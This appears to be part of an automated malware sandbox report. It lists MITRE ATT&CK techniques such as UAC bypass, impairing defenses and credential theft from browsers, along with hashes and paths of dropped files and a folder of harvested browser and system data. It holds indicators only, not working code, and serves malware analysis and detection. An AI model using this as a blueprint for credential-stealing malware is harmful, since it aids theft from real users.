Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\dlhost.exe

Filesize
79KB

MD5
c5102cfbe66c577ad6f5bf7232af6ecb

SHA1
18c8b8496918d8e2a8c2caf6e590a487202a114a

SHA256
50a908f5192a87b9997fa6a7ff577f8fcfb04426753347e5b2f8a6f1aa47924d

SHA512
2d405fc525bdcc1fc2ce301cd24decadb36b704811f963d578dd2e72a60888b4754fec93981a784f377505ab27999143b9c6dec130a0feb66ca288989705edf8

Download Submit
C:\ProgramData\sihost.exe

Filesize
226KB

MD5
d973474bb8c4bce96b58034eb29e28f5

SHA1
bcebf25d53608d8e408326e6d16aef27a710b555

SHA256
58a88d0b0a29f9fcf464f14a704633742812eab94799b1517de6d39b04735419

SHA512
d93fcdfe1ea7c988f1a2a0eb944d671209112aee09e8d1c7071a1d76176258e74ed75fcccda1e7567329feb17accf8239670b969e7edaaa7161bbdb792969239

Download Submit
C:\Users\Admin\AppData\Local\1c3f73bcd64579f13909570c8cddc006\msgid.dat

Filesize
4B

MD5
09ccf3183d9e90e5ae1f425d5f9b2c00

SHA1
6f07c0229234d7c6d85ea679c20120241f4642dc

SHA256
1ec479bb53d3cb6721d3fef41ccc097b017d0959e178e8f3ffe1c9f309b72b71

SHA512
98b1f5bed39d0696170f4a3bddb32f55e9e1ed6d99f720641c9a342887aeecd51b5181475fb99ff5bf04af135aa28a4537581547f69fc23bf4ccf0518b3a6d04

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b8634a147a40bf4e6836be570a3e21d

SHA1
a1f2eb05ade58e4aa48b156e5de8d72dc04c4ad3

SHA256
2516904bf17e895f7b0c9bfec81fe1516de4d37c6a2835b8c83aa79f670f63ce

SHA512
78c5348a121bc00e6f7427dc4b11c301c4f2e898c4108eb328c8a740d96fc8a8a1f869b3769e84ec1b36fc483280ae7b6d5e9981e7bf2facd548944b036a0bd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fh3t3wxr.faw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
13.2MB

MD5
378095d4a2419f660cdc1a008c3c1b6f

SHA1
bedcf824a9fc2a4643c52cce2196fdeae649115a

SHA256
644e813700b684b8165957f29396e5fdaea21622ea7b40339e3b1f7bdc45ca75

SHA512
dc5ad6d098601f49656812908bc30d7d8d9b9de574e4e6535eebd9135128ce650268be733958e0b9ab6d8422172eb44eefd8f51389424b0958f734918d7828f5

Download Submit
C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\System\Process.txt

Filesize
4KB

MD5
defd14e16f0684ed79710be4be2b98bc

SHA1
2935e2b5ef7b6a74bcc048e37fc25b265e8b46af

SHA256
a1fd3146b2a1bcab928a77dfa0f5d03c9acabfd417e12ab4ab0bb5458fea57ca

SHA512
b6da139dd4aedaa8c4f0d893f2999b9770db7cc87d64546f517bc7582bee3941088a7621513525ddf7255fc320dc805e5a68f743fdaf6779138df0d949a5d97a

Download Submit
C:\exm\EXMservice.exe

Filesize
322KB

MD5
eec9f24248ce434cc8fb93aa6526b8c4

SHA1
1fc5be13f90ac0e0a545699185033e8a149740a3

SHA256
0e7b90924c7165ae20403fc7593bd639440f86429035c2f4ad868ba494171f53

SHA512
7e5ea70c53f620934029348cac59f085b20ffd475e357311946920ad4c7fa5a843bdab0cb9ce2ec7b003f7d7d149c42b8315514366d9c52f906cb26d90dbfe03

Download Submit
memory/232-253-0x0000000006140000-0x00000000061D2000-memory.dmp

Filesize
584KB

Download
memory/232-264-0x00000000062F0000-0x0000000006302000-memory.dmp

Filesize
72KB

Download
memory/232-258-0x0000000006260000-0x000000000626A000-memory.dmp

Filesize
40KB

Download
memory/232-98-0x0000000000BF0000-0x0000000000C2E000-memory.dmp

Filesize
248KB

Download
memory/232-99-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/232-254-0x0000000006790000-0x0000000006D34000-memory.dmp

Filesize
5.6MB

Download
memory/1232-28-0x00000257FBF90000-0x00000257FBFA2000-memory.dmp

Filesize
72KB

Download
memory/1232-29-0x00000257FBF80000-0x00000257FBF8A000-memory.dmp

Filesize
40KB

Download
memory/2252-15-0x00007FF91EF00000-0x00007FF91F9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2252-0-0x00007FF91EF03000-0x00007FF91EF05000-memory.dmp

Filesize
8KB

Download
memory/2252-12-0x00007FF91EF00000-0x00007FF91F9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2252-11-0x00007FF91EF00000-0x00007FF91F9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2252-1-0x000001E1E9C60000-0x000001E1E9C82000-memory.dmp

Filesize
136KB

Download
memory/2580-71-0x0000000000CC0000-0x0000000000D16000-memory.dmp

Filesize
344KB

Download
memory/2708-96-0x0000000000C20000-0x0000000000C3A000-memory.dmp

Filesize
104KB

Download